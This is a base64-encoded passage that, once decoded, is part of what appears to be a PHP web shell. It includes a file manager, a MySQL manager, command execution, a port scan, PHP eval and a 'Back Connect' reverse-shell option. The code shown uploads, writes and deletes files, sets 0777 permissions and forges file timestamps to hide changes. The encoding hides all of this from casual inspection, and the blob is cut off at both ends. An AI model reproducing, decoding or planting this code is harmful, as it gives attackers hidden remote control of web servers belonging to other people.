lO2JhY2tncm91bmQ6I2ZmZjtib3JkZXI6IDFweCBzb2xpZCAjNjY2O3BhZGRpbmc6MnB4O30KLmJ0IHtib3JkZXItY29sb3I6I2IwYjBiMDtiYWNrZ3JvdW5kOiMzZDNkM2Q7Y29sb3I6I2ZmZmZmZjtmb250OjEycHggQXJpYWwsVGFob21hO2hlaWdodDoyMnB4O30KYSB7Y29sb3I6ICMwMGY7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTt9CmE6aG92ZXJ7Y29sb3I6ICNmMDA7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fQouYWx0MSB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCAjZmZmO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNkZGQ7YmFja2dyb3VuZDojZjFmMWYxO3BhZGRpbmc6NXB4IDE1cHggNXB4IDVweDt9Ci5hbHQyIHRke2JvcmRlci10b3A6MXB4IHNvbGlkICNmZmY7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNmOWY5Zjk7cGFkZGluZzo1cHggMTVweCA1cHggNXB4O30KLmZvY3VzIHRke2JvcmRlci10b3A6MXB4IHNvbGlkICNmZmY7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNmZmZmYWE7cGFkZGluZzo1cHggMTVweCA1cHggNXB4O30KLmhlYWQgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgI2ZmZjtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZGRkO2JhY2tncm91bmQ6I2U5ZTllOTtwYWRkaW5nOjVweCAxNXB4IDVweCA1cHg7Zm9udC13ZWlnaHQ6Ym9sZDt9Ci5oZWFkIHRkIHNwYW57Zm9udC13ZWlnaHQ6bm9ybWFsO30KLmluZm9saXN0IHtwYWRkaW5nOjEwcHg7bWFyZ2luOjEwcHggMCAyMHB4IDA7YmFja2dyb3VuZDojRjFGMUYxO2JvcmRlcjoxcHggc29saWQgI2RkZDt9CmZvcm17bWFyZ2luOjA7cGFkZGluZzowO30KaDJ7bWFyZ2luOjA7cGFkZGluZzowO2hlaWdodDoyNHB4O2xpbmUtaGVpZ2h0OjI0cHg7Zm9udC1zaXplOjE0cHg7Y29sb3I6IzVCNjg2Rjt9CnVsLmluZm8gbGl7bWFyZ2luOjA7Y29sb3I6IzQ0NDtsaW5lLWhlaWdodDoyNHB4O2hlaWdodDoyNHB4O30KdXt0ZXh0LWRlY29yYXRpb246IG5vbmU7Y29sb3I6Izc3NztmbG9hdDpsZWZ0O2Rpc3BsYXk6YmxvY2s7d2lkdGg6MTUwcHg7bWFyZ2luLXJpZ2h0OjEwcHg7fQouZHJpdmVze3BhZGRpbmc6NXB4O30KLmRyaXZlcyBzcGFuIHttYXJnaW46YXV0byA3cHg7fQo8L3N0eWxlPgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CmZ1bmN0aW9uIENoZWNrQWxsKGZvcm0pIHsKCWZvcih2YXIgaT0wO2k8Zm9ybS5lbGVtZW50cy5sZW5ndGg7aSsrKSB7CgkJdmFyIGUgPSBmb3JtLmVsZW1lbnRzW2ldOwoJCWlmIChlLm5hbWUgIT0gJ2Noa2FsbCcpCgkJZS5jaGVja2VkID0gZm9ybS5jaGthbGwuY2hlY2tlZDsKICAgIH0KfQpmdW5jdGlvbiAkKGlkKSB7CglyZXR1cm4gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpOwp9CmZ1bmN0aW9uIGNyZWF0ZWRpcigpewoJdmFyIG5ld2Rpcm5hbWU7CgluZXdkaXJuYW1lID0gcHJvbXB0KCdQbGVhc2UgaW5wdXQgdGhlIGRpcmVjdG9yeSBuYW1lOicsICcnKTsKCWlmICghbmV3ZGlybmFtZSkgcmV0dXJuOwoJJCgnY3JlYXRlZGlyJykubmV3ZGlybmFtZS52YWx1ZT1uZXdkaXJuYW1lOwoJJCgnY3JlYXRlZGlyJykuc3VibWl0KCk7Cn0KZnVuY3Rpb24gZmlsZXBlcm0ocGZpbGUpewoJdmFyIG5ld3Blcm07CgluZXdwZXJtID0gcHJvbXB0KCdDdXJyZW50IGZpbGU6JytwZmlsZSsnXG5QbGVhc2UgaW5wdXQgbmV3IGF0dHJpYnV0ZTonLCAnJyk7CglpZiAoIW5ld3Blcm0pIHJldHVybjsKCSQoJ2ZpbGVwZXJtJykubmV3cGVybS52YWx1ZT1uZXdwZXJtOwoJJCgnZmlsZXBlcm0nKS5wZmlsZS52YWx1ZT1wZmlsZTsKCSQoJ2ZpbGVwZXJtJykuc3VibWl0KCk7Cn0KZnVuY3Rpb24gY29weWZpbGUoc25hbWUpewoJdmFyIHRvZmlsZTsKCXRvZmlsZSA9IHByb21wdCgnT3JpZ2luYWwgZmlsZTonK3NuYW1lKydcblBsZWFzZSBpbnB1dCBvYmplY3QgZmlsZSAoZnVsbHBhdGgpOicsICcnKTsKCWlmICghdG9maWxlKSByZXR1cm47CgkkKCdjb3B5ZmlsZScpLnRvZmlsZS52YWx1ZT10b2ZpbGU7CgkkKCdjb3B5ZmlsZScpLnNuYW1lLnZhbHVlPXNuYW1lOwoJJCgnY29weWZpbGUnKS5zdWJtaXQoKTsKfQpmdW5jdGlvbiByZW5hbWUob2xkbmFtZSl7Cgl2YXIgbmV3ZmlsZW5hbWU7CgluZXdmaWxlbmFtZSA9IHByb21wdCgnRm9ybWVyIGZpbGUgbmFtZTonK29sZG5hbWUrJ1xuUGxlYXNlIGlucHV0IG5ldyBmaWxlbmFtZTonLCAnJyk7CglpZiAoIW5ld2ZpbGVuYW1lKSByZXR1cm47CgkkKCdyZW5hbWUnKS5uZXdmaWxlbmFtZS52YWx1ZT1uZXdmaWxlbmFtZTsKCSQoJ3JlbmFtZScpLm9sZG5hbWUudmFsdWU9b2xkbmFtZTsKCSQoJ3JlbmFtZScpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIGRvZmlsZShkb2luZyx0aGVmaWxlLG0pewoJaWYgKG0gJiYgIWNvbmZpcm0obSkpIHsKCQlyZXR1cm47Cgl9CgkkKCdmaWxlbGlzdCcpLmRvaW5nLnZhbHVlPWRvaW5nOwoJaWYgKHRoZWZpbGUpewoJCSQoJ2ZpbGVsaXN0JykudGhlZmlsZS52YWx1ZT10aGVmaWxlOwoJfQoJJCgnZmlsZWxpc3QnKS5zdWJtaXQoKTsKfQpmdW5jdGlvbiBjcmVhdGVmaWxlKG5vd3BhdGgpewoJdmFyIGZpbGVuYW1lOwoJZmlsZW5hbWUgPSBwcm9tcHQoJ1BsZWFzZSBpbnB1dCB0aGUgZmlsZSBuYW1lOicsICcnKTsKCWlmICghZmlsZW5hbWUpIHJldHVybjsKCW9wZmlsZSgnZWRpdGZpbGUnLG5vd3BhdGggKyBmaWxlbmFtZSxub3dwYXRoKTsKfQpmdW5jdGlvbiBvcGZpbGUoYWN0aW9uLG9wZmlsZSxkaXIpewoJJCgnZmlsZW9wZm9ybScpLmFjdGlvbi52YWx1ZT1hY3Rpb247CgkkKCdmaWxlb3Bmb3JtJykub3BmaWxlLnZhbHVlPW9wZmlsZTsKCSQoJ2ZpbGVvcGZvcm0nKS5kaXIudmFsdWU9ZGlyOwoJJCgnZmlsZW9wZm9ybScpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIGdvZGlyKGRpcix2aWV3X3dyaXRhYmxlKXsKCWlmICh2aWV3X3dyaXRhYmxlKSB7CgkJJCgnZ29kaXInKS52aWV3X3dyaXRhYmxlLnZhbHVlPXZpZXdfd3JpdGFibGU7Cgl9CgkkKCdnb2RpcicpLmRpci52YWx1ZT1kaXI7CgkkKCdnb2RpcicpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIGdldHNpemUoZ2V0ZGlyLGRpcil7CgkkKCdnZXRzaXplJykuZ2V0ZGlyLnZhbHVlPWdldGRpcjsKCSQoJ2dldHNpemUnKS5kaXIudmFsdWU9ZGlyOwoJJCgnZ2V0c2l6ZScpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIGVkaXRyZWNvcmQoYWN0aW9uLCBiYXNlNjQsIHRhYmxlbmFtZSl7CglpZiAoYWN0aW9uID09ICdkZWwnKSB7CQkKCQlpZiAoIWNvbmZpcm0oJ0lzIG9yIGlzblwndCBkZWxldGlvbiByZWNvcmQ/JykpIHJldHVybjsKCX0KCSQoJ3JlY29yZGxpc3QnKS5kb2luZy52YWx1ZT1hY3Rpb247CgkkKCdyZWNvcmRsaXN0JykuYmFzZTY0LnZhbHVlPWJhc2U2NDsKCSQoJ3JlY29yZGxpc3QnKS50YWJsZW5hbWUudmFsdWU9dGFibGVuYW1lOwoJJCgncmVjb3JkbGlzdCcpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIG1vZGRibmFtZShkYm5hbWUpIHsKCWlmKCFkYm5hbWUpIHJldHVybjsKCSQoJ3NldGRibmFtZScpLmRibmFtZS52YWx1ZT1kYm5hbWU7CgkkKCdzZXRkYm5hbWUnKS5zdWJtaXQoKTsKfQpmdW5jdGlvbiBzZXR0YWJsZSh0YWJsZW5hbWUsZG9pbmcscGFnZSkgewoJaWYoIXRhYmxlbmFtZSkgcmV0dXJuOwoJaWYgKGRvaW5nKSB7CgkJJCgnc2V0dGFibGUnKS5kb2luZy52YWx1ZT1kb2luZzsKCX0KCWlmIChwYWdlKSB7CgkJJCgnc2V0dGFibGUnKS5wYWdlLnZhbHVlPXBhZ2U7Cgl9CgkkKCdzZXR0YWJsZScpLnRhYmxlbmFtZS52YWx1ZT10YWJsZW5hbWU7CgkkKCdzZXR0YWJsZScpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIHMoYWN0aW9uLG5vd3BhdGgscDEscDIscDMscDQscDUpIHsKCWlmKGFjdGlvbikgJCgnb3Bmb3JtJykuYWN0aW9uLnZhbHVlPWFjdGlvbjsKCWlmKG5vd3BhdGgpICQoJ29wZm9ybScpLm5vd3BhdGgudmFsdWU9bm93cGF0aDsKCWlmKHAxKSAkKCdvcGZvcm0nKS5wMS52YWx1ZT1wMTsKCWlmKHAyKSAkKCdvcGZvcm0nKS5wMi52YWx1ZT1wMjsKCWlmKHAzKSAkKCdvcGZvcm0nKS5wMy52YWx1ZT1wMzsKCWlmKHA0KSAkKCdvcGZvcm0nKS5wNC52YWx1ZT1wNDsKCWlmKHA1KSAkKCdvcGZvcm0nKS5wNC52YWx1ZT1wNTsKfQpmdW5jdGlvbiBnKGFjdGlvbixub3dwYXRoLHAxLHAyLHAzLHA0LHA1KSB7CglpZighYWN0aW9uKSByZXR1cm47CglzKGFjdGlvbixub3dwYXRoLHAxLHAyLHAzLHA0LHA1KTsKCSQoJ29wZm9ybScpLnN1Ym1pdCgpOwp9Cjwvc2NyaXB0Pgo8L2hlYWQ+Cjxib2R5IHN0eWxlPSJtYXJnaW46MDt0YWJsZS1sYXlvdXQ6Zml4ZWQ7IHdvcmQtYnJlYWs6YnJlYWstYWxsIj4KPD9waHAKZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nb3Bmb3JtJykpOwptYWtlaGlkZSgnYWN0aW9uJywgJGFjdGlvbik7Cm1ha2VoaWRlKCdub3dwYXRoJywgJG5vd3BhdGgpOwptYWtlaGlkZSgncDEnLCAkcDEpOwptYWtlaGlkZSgncDInLCAkcDIpOwptYWtlaGlkZSgncDMnLCAkcDMpOwptYWtlaGlkZSgncDQnLCAkcDQpOwptYWtlaGlkZSgncDUnLCAkcDUpOwpmb3JtZm9vdCgpOwoKaWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKSB7CgkkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7CgkkdWlkID0gQGdldG15dWlkKCk7CgkkZ2lkID0gQGdldG15Z2lkKCk7CgkkZ3JvdXAgPSAiPyI7Cn0gZWxzZSB7CgkkdWlkID0gQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOwoJJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAcG9zaXhfZ2V0ZWdpZCgpKTsKCSR1c2VyID0gJHVpZFsnbmFtZSddOwoJJHVpZCA9ICR1aWRbJ3VpZCddOwoJJGdyb3VwID0gJGdpZFsnbmFtZSddOwoJJGdpZCA9ICRnaWRbJ2dpZCddOwp9Cgo/Pgo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KCTx0ciBjbGFzcz0iaGVhZCI+CgkJPHRkPjxzcGFuIHN0eWxlPSJmbG9hdDpyaWdodDsiPjw/cGhwIGVjaG8gQHBocF91bmFtZSgpOz8+IC8gVXNlcjo8P3BocCBlY2hvICR1aWQuJyAoICcuJHVzZXIuJyApIC8gR3JvdXA6ICcuJGdpZC4nICggJy4kZ3JvdXAuJyApJzs/Pjwvc3Bhbj48P3BocCBlY2hvICRfU0VSVkVSWydIVFRQX0hPU1QnXTs/PiAoPD9waHAgZWNobyBnZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKTs/Pik8L3RkPgoJPC90cj4KCTx0ciBjbGFzcz0iYWx0MSI+CgkJPHRkPgoJCQk8c3BhbiBzdHlsZT0iZmxvYXQ6cmlnaHQ7Ij5QSFAgPD9waHAgZWNobyBQSFBfVkVSU0lPTjs/PiAvIFNhZmUgTW9kZTo8P3BocCBlY2hvIGdldGNmZygnc2FmZV9tb2RlJyk7Pz48L3NwYW4+CgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6ZygnbG9nb3V0Jyk7Ij5Mb2dvdXQ8L2E+IHwgCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6ZygnZmlsZScpOyI+RmlsZSBNYW5hZ2VyPC9hPiB8IAoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmcoJ215c3FsYWRtaW4nKTsiPk1ZU1FMIE1hbmFnZXI8L2E+IHwgCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Zygnc3FsZmlsZScpOyI+TXlTUUwgVXBsb2FkICZhbXA7IERvd25sb2FkPC9hPiB8IAoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmcoJ3NoZWxsJyk7Ij5FeGVjdXRlIENvbW1hbmQ8L2E+IHwgCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6ZygncGhwZW52Jyk7Ij5QSFAgVmFyaWFibGU8L2E+IHwgCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6ZygncG9ydHNjYW4nKTsiPlBvcnQgU2NhbjwvYT4gfCAKCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnKCdzZWNpbmZvJyk7Ij5TZWN1cml0eSBpbmZvcm1hdGlvbjwvYT4gfCAKCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnKCdldmFsJyk7Ij5FdmFsIFBIUCBDb2RlPC9hPgoJCQk8P3BocCBpZiAoIUlTX1dJTikgez8+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnKCdiYWNrY29ubmVjdCcpOyI+QmFjayBDb25uZWN0PC9hPjw/cGhwIH0/PgoJCTwvdGQ+Cgk8L3RyPgo8L3RhYmxlPgo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjE1IiBjZWxsc3BhY2luZz0iMCI+PHRyPjx0ZD4KPD9waHAKJGVycm1zZyAmJiBtKCRlcnJtc2cpOwoKLy8gPz8/Pz8/CmlmICghJGRpcikgewoJJGRpciA9ICRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0gPyAkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdIDogJy4nOwp9CiRub3dwYXRoID0gZ2V0UGF0aChTQV9ST09ULCAkZGlyKTsKaWYgKHN1YnN0cigkZGlyLCAtMSkgIT0gJy8nKSB7CgkkZGlyID0gJGRpci4nLyc7Cn0KCmlmICgkYWN0aW9uID09ICdmaWxlJykgewoKCS8vID8/P++/vXM/PwoJJGRpcl93cml0ZWFibGUgPSBAaXNfd3JpdGFibGUoJG5vd3BhdGgpID8gJ1dyaXRhYmxlJyA6ICdOb24td3JpdGFibGUnOwoKCS8vID8/Pz8KCWlmICgkbmV3ZGlybmFtZSkgewoJCSRta2RpcnMgPSAkbm93cGF0aC4kbmV3ZGlybmFtZTsKCQlpZiAoZmlsZV9leGlzdHMoJG1rZGlycykpIHsKCQkJbSgnRGlyZWN0b3J5IGhhcyBhbHJlYWR5IGV4aXN0ZWQnKTsKCQl9IGVsc2UgewoJCQltKCdEaXJlY3RvcnkgY3JlYXRlZCAnLihAbWtkaXIoJG1rZGlycywwNzc3KSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7CgkJCUBjaG1vZCgkbWtkaXJzLDA3NzcpOwoJCX0KCX0KCgkvLyDvv73vv70/77+977+9PwoJZWxzZWlmICgkZG91cGZpbGUpIHsKCQltKCdGaWxlIHVwbG9hZCAnLihAY29weSgkX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ3RtcF9uYW1lJ10sJHVwbG9hZGRpci4nLycuJF9GSUxFU1sndXBsb2FkZmlsZSddWyduYW1lJ10pID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsKCX0KCgkvLyA/P++/ve+/vT8KCWVsc2VpZiAoJGVkaXRmaWxlbmFtZSAmJiAkZmlsZWNvbnRlbnQpIHsKCQkkZnAgPSBAZm9wZW4oJGVkaXRmaWxlbmFtZSwndycpOwoJCW0oJ1NhdmUgZmlsZSAnLihAZndyaXRlKCRmcCwkZmlsZWNvbnRlbnQpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsKCQlAZmNsb3NlKCRmcCk7Cgl9CgoJLy8gPz/vv73vv70/77+9z5VUCgllbHNlaWYgKCRwZmlsZSAmJiAkbmV3cGVybSkgewoJCWlmICghZmlsZV9leGlzdHMoJHBmaWxlKSkgewoJCQltKCdUaGUgb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOwoJCX0gZWxzZSB7CgkJCSRuZXdwZXJtID0gYmFzZV9jb252ZXJ0KCRuZXdwZXJtLDgsMTApOwoJCQltKCdNb2RpZnkgZmlsZSBhdHRyaWJ1dGVzICcuKEBjaG1vZCgkcGZpbGUsJG5ld3Blcm0pID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsKCQl9Cgl9CgoJLy8gPz8KCWVsc2VpZiAoJG9sZG5hbWUgJiYgJG5ld2ZpbGVuYW1lKSB7CgkJJG5uYW1lID0gJG5vd3BhdGguJG5ld2ZpbGVuYW1lOwoJCWlmIChmaWxlX2V4aXN0cygkbm5hbWUpIHx8ICFmaWxlX2V4aXN0cygkb2xkbmFtZSkpIHsKCQkJbSgkbm5hbWUuJyBoYXMgYWxyZWFkeSBleGlzdGVkIG9yIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsKCQl9IGVsc2UgewoJCQltKGJhc2VuYW1lKCRvbGRuYW1lKS4nIHJlbmFtZWQgJy5iYXNlbmFtZSgkbm5hbWUpLihAcmVuYW1lKCRvbGRuYW1lLCRubmFtZSkgPyAnIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsKCQl9Cgl9CgoJLy8gP++/vWfvv73vv70/CgllbHNlaWYgKCRzbmFtZSAmJiAkdG9maWxlKSB7CgkJaWYgKGZpbGVfZXhpc3RzKCR0b2ZpbGUpIHx8ICFmaWxlX2V4aXN0cygkc25hbWUpKSB7CgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCBvciBvcmlnaW5hbCBmaWxlIGRvZXMgbm90IGV4aXN0Jyk7CgkJfSBlbHNlIHsKCQkJbShiYXNlbmFtZSgkdG9maWxlKS4nIGNvcGllZCAnLihAY29weSgkc25hbWUsJHRvZmlsZSkgPyBiYXNlbmFtZSgkdG9maWxlKS4nIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsKCQl9Cgl9CgoJLy8gPz/vv73vv70/CgllbHNlaWYgKCRjdXJmaWxlICYmICR0YXJmaWxlKSB7CgkJaWYgKCFAZmlsZV9leGlzdHMoJGN1cmZpbGUpIHx8ICFAZmlsZV9leGlzdHMoJHRhcmZpbGUpKSB7CgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCBvciBvcmlnaW5hbCBmaWxlIGRvZXMgbm90IGV4aXN0Jyk7CgkJfSBlbHNlIHsKCQkJJHRpbWUgPSBAZmlsZW10aW1lKCR0YXJmaWxlKTsKCQkJbSgnTW9kaWZ5IGZpbGUgdGhlIGxhc3QgbW9kaWZpZWQgJy4oQHRvdWNoKCRjdXJmaWxlLCR0aW1lLCR0aW1lKSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7CgkJfQoJfQoKCS8vIO+/ve+/vT/vv73vv73vv73vv70/CgllbHNlaWYgKCRjdXJmaWxlICYmICR5ZWFyICYmICRtb250aCAmJiAkZGF5ICYmICRob3VyICYmICRtaW51dGUgJiYgJHNlY29uZCkgewoJCWlmICghQGZpbGVfZXhpc3RzKCRjdXJmaWxlKSkgewoJCQltKGJhc2VuYW1lKCRjdXJmaWxlKS4nIGRvZXMgbm90IGV4aXN0Jyk7CgkJfSBlbHNlIHsKCQkJJHRpbWUgPSBzdHJ0b3RpbWUoIiR5ZWFyLSRtb250aC0kZGF5ICRob3VyOiRtaW51dGU6JHNlY29uZCIpOwoJCQltKCdNb2RpZnkgZmlsZSB0aGUgbGFzdCBtb2RpZmllZCAnLihAdG91Y2goJGN1cmZpbGUsJHRpbWUsJHRpbWUpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsKCQl9Cgl9CgoJLy8gPz/vv73vv70/77+977+9PwoJZWxzZWlmKCRkb2luZyA9PSAnZGVsZmlsZXMnKSB7CgkJaWYgKCRkbCkgewoJCQkkZGZpbGVzPScnOwoJCQkkc3VjYyA9ICRmYWlsID0gMDsKCQkJZm9yZWFjaCAoJGRsIGFzICRmaWxlcGF0aCkgewoJCQkJaWYgKGlzX2RpcigkZmlsZXBhdGgpKSB7CgkJCQkJaWYgKEBkZWx0cmVlKCRmaWxlcGF0aCkpIHsKCQkJCQkJJHN1Y2MrKzsKCQkJCQl9IGVsc2UgewoJCQkJCQkkZmFpbCsrOwoJCQkJCX0KCQkJCX0gZWxzZSB7CgkJCQkJaWYgKEB1bmxpbmsoJGZpbGVwYXRoKSkgewoJCQkJCQkkc3VjYysrOwoJCQkJCX0gZWxzZSB7CgkJCQkJCSRmYWlsKys7CgkJCQkJfQoJCQkJfQoJCQl9CgkJCW0oJ0RlbGV0ZWQgZm9sZGVyL2ZpbGUgaGF2ZSBmaW5pc2hlZCxjaG9vc2UgJy5jb3VudCgkZGwpLicgc3VjY2VzcyAnLiRzdWNjLicgZmFpbCAnLiRmYWlsKTsKCQl9IGVsc2UgewoJCQltKCdQbGVhc2Ugc2VsZWN0IGZvbGRlci9maWxlKHMpJyk7CgkJfQoJfQoKCS8vP++/vVvvv73vv70/Cglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidjcmVhdGVkaXInKSk7CgltYWtlaGlkZSgnbmV3ZGlybmFtZScpOwoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOwoJZm9ybWZvb3QoKTsKCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2ZpbGVwZXJtJykpOwoJbWFrZWhpZGUoJ25ld3Blcm0nKTsKCW1ha2VoaWRlKCdwZmlsZScpOwoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOwoJZm9ybWZvb3QoKTsKCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2NvcHlmaWxlJykpOwoJbWFrZWhpZGUoJ3NuYW1lJyk7CgltYWtlaGlkZSgndG9maWxlJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7Cglmb3JtZm9vdCgpOwoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4ncmVuYW1lJykpOwoJbWFrZWhpZGUoJ29sZG5hbWUnKTsKCW1ha2VoaWRlKCduZXdmaWxlbmFtZScpOwoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOwoJZm9ybWZvb3QoKTsKCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2ZpbGVvcGZvcm0nLCAndGFyZ2V0Jz0+J19ibGFuaycpKTsKCW1ha2VoaWRlKCdhY3Rpb24nKTsKCW1ha2VoaWRlKCdvcGZpbGUnKTsKCW1ha2VoaWRlKCdkaXInKTsKCWZvcm1mb290KCk7Cglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidnZXRzaXplJykpOwoJbWFrZWhpZGUoJ2dldGRpcicpOwoJbWFrZWhpZGUoJ2RpcicpOwoJZm9ybWZvb3QoKTsKCgkkZnJlZSA9IEBkaXNrX2ZyZWVfc3BhY2UoJG5vd3BhdGgpOwoJISRmcmVlICYmICRmcmVlID0gMDsKCSRhbGwgPSBAZGlza190b3RhbF9zcGFjZSgkbm93cGF0aCk7CgkhJGFsbCAmJiAkYWxsID0gMDsKCSR1c2VkID0gJGFsbC0kZnJlZTsKCXAoJzxoMj5GaWxlIE1hbmFnZXIgLSBDdXJyZW50IGRpc2sgZnJlZSAnLnNpemVjb3VudCgkZnJlZSkuJyBvZiAnLnNpemVjb3VudCgkYWxsKS4nICgnLkByb3VuZCgxMDAvKCRhbGwvJGZyZWUpLDIpLiclKTwvaDI+Jyk7CgoJJGN3ZF9saW5rcyA9ICcnOwoJJHBhdGggPSBleHBsb2RlKCcvJywgJG5vd3BhdGgpOwoJJG49Y291bnQoJHBhdGgpOwoJZm9yKCRpPTA7JGk8JG4tMTskaSsrKSB7CgkJJGN3ZF9saW5rcyAuPSAnPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJyc7CgkJZm9yKCRqPTA7JGo8PSRpOyRqKyspIHsKCQkJJGN3ZF9saW5rcyAuPSAkcGF0aFskal0uJy8nOwoJCX0KCQkkY3dkX2xpbmtzIC49ICdcJyk7Ij4nLiRwYXRoWyRpXS4nLzwvYT4nOwoJfQoKPz4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpkb2N1bWVudC5vbmNsaWNrID0gc2hvd25hdjsKZnVuY3Rpb24gc2hvd25hdihlKXsKCXZhciBzcmMgPSBlP2UudGFyZ2V0OmV2ZW50LnNyY0VsZW1lbnQ7Cglkb3sKCQlpZihzcmMuaWQgPT0ianVtcHRvIikgewoJCQkkKCdpbnB1dG5hdicpLnN0eWxlLmRpc3BsYXkgPSAiIjsKCQkJJCgncGF0aG5hdicpLnN0eWxlLmRpc3BsYXkgPSAibm9uZSI7CgkJCS8vaGlkZW5hdigpOwoJCQlyZXR1cm47CgkJfQoJCWlmKHNyYy5pZCA9PSJpbnB1dG5hdiIpIHsKCQkJcmV0dXJuOwoJCX0KCQlzcmMgPSBzcmMucGFyZW50Tm9kZTsKCX13aGlsZShzcmMucGFyZW50Tm9kZSkKCgkkKCdpbnB1dG5hdicpLnN0eWxlLmRpc3BsYXkgPSAibm9uZSI7CgkkKCdwYXRobmF2Jykuc3R5bGUuZGlzcGxheSA9ICIiOwp9Cjwvc2NyaXB0Pgo8ZGl2IHN0eWxlPSJiYWNrZ3JvdW5kOiNlZWU7bWFyZ2luLWJvdHRvbToxMHB4OyI+Cgk8dGFibGUgaWQ9InBhdGhuYXYiIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSI1IiBjZWxsc3BhY2luZz0iMCI+CgkJPHRyPgoJCQk8dGQgd2lkdGg9IjEwMCUiPjw/cGhwIGVjaG8gJGN3ZF9saW5rcy4nIC0gJy5nZXRDaG1vZCgkbm93cGF0aCkuJyAvICcuZ2V0UGVybXMoJG5vd3BhdGgpLmdldFVzZXIoJG5vd3BhdGgpOz8+ICg8P3BocCBlY2hvICRkaXJfd3JpdGVhYmxlOz8+KTwvdGQ+CgkJCTx0ZCBub3dyYXA+PGlucHV0IGNsYXNzPSJidCIgaWQ9Imp1bXB0byIgbmFtZT0ianVtcHRvIiB2YWx1ZT0iSnVtcCB0byIgdHlwZT0iYnV0dG9uIj48L3RkPgoJCTwvdHI+Cgk8L3RhYmxlPgoJPHRhYmxlIGlkPSJpbnB1dG5hdiIgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjUiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0iZGlzcGxheTpub25lOyI+Cgk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBpZD0iZ29kaXIiIG5hbWU9ImdvZGlyIj4KCQk8dHI+CgkJCTx0ZCBub3dyYXA+Q3VycmVudCBEaXJlY3RvcnkgKDw/cGhwIGVjaG8gJGRpcl93cml0ZWFibGU7Pz4sIDw/cGhwIGVjaG8gZ2V0Q2htb2QoJG5vd3BhdGgpOz8+KTwvdGQ+CgkJCTx0ZCB3aWR0aD0iMTAwJSI+PGlucHV0IG5hbWU9InZpZXdfd3JpdGFibGUiIHZhbHVlPSIwIiB0eXBlPSJoaWRkZW4iIC8+PGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0iZGlyIiB2YWx1ZT0iPD9waHAgZWNobyAkbm93cGF0aDs/PiIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOjk5JTttYXJnaW46MCA4cHg7Ij48L3RkPgoJCQk8dGQgbm93cmFwPjxpbnB1dCBjbGFzcz0iYnQiIHZhbHVlPSJH